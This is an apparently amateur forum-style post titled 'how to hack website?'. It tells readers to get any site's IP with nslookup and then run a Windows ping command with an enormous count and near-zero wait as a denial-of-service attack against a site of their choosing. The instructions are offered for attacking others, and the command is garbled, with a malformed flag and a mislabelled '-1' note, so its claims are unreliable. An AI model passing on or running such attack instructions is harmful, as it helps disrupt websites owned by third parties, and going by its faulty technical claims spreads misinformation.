how to hack website?

how to get ip of any site?
open ur cmd and type
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nslookup Site-Name
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(e.g nslookup www.yahoo.com)

it will show u ip of the site.
now write this command in cmd for attack on any site....
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ping site-ip -165500 -n 10000000 -w 0.00001
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-n 10000000=the number of DOS attemps u can change the value 10000000
with ur desired value u want to attempt attack

site ip= replace the text with ip address of the site u want to be attacked

-w 0.00001 = it is the wariting time after one ping attack.

NOTE:  dont change or remove -1, -n and -w in this command
otherwise u will not able to attack!!